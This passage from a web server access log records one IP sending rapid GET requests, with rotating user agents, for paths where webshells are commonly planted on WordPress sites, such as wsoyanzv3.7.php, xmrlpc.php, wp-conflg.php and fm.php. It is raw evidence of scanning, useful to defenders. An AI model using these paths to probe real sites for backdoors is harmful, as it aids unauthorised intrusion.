Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:53:37 +0300] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:37 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:37 +0300] "GET /chosen-667.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:38 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:38 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:53:38 +0300] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:38 +0300] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:53:38 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:39 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:39 +0300] "GET /wp-content/upgrade/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:39 +0300] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:39 +0300] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:40 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:53:40 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:53:41 +0300] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:53:41 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:41 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:53:42 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:42 +0300] "GET /wp-content/plugins/seooyanz/wsoyanzv3.7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:42 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:53:42 +0300] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:53:42 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:53:43 +0300] "GET /first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:53:43 +0300] "GET /admin/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:43 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:53:44 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:44 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:44 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:44 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:44 +0300] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:45 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:45 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:45 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:45 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:53:46 +0300] "GET /cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:46 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:46 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:46 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:47 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:47 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:47 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:48 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:53:48 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:48 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:48 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:48 +0300] "GET /back.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:49 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:49 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:49 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:50 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:50 +0300] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:50 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:50 +0300] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:51 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:51 +0300] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:51 +0300] "GET /phpfm3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:53:51 +0300] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:52 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:52 +0300] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:52 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:52 +0300] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:52 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:53 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:53:53 +0300] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:53 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:53 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:54 +0300] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:53:54 +0300] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:54 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:54 +0300] "GET /wp-content/plugins/awesome-coming-soon/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:55 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:55 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:55 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:53:56 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:56 +0300] "GET /zip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:53:56 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:53:56 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:57 +0300] "GET /wp-content/plugins/wpcall-button/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:53:57 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:57 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:58 +0300] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:58 +0300] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:58 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:58 +0300] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:53:59 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:59 +0300] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:59 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:59 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:00 +0300] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:00 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:00 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:54:01 +0300] "GET /rcc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:01 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:01 +0300] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:01 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:02 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:03 +0300] "GET /history.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:04 +0300] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:54:04 +0300] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:04 +0300] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:04 +0300] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:05 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:05 +0300] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:05 +0300] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:05 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:06 +0300] "GET /about.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:06 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:06 +0300] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:07 +0300] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:07 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:07 +0300] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:08 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:08 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) 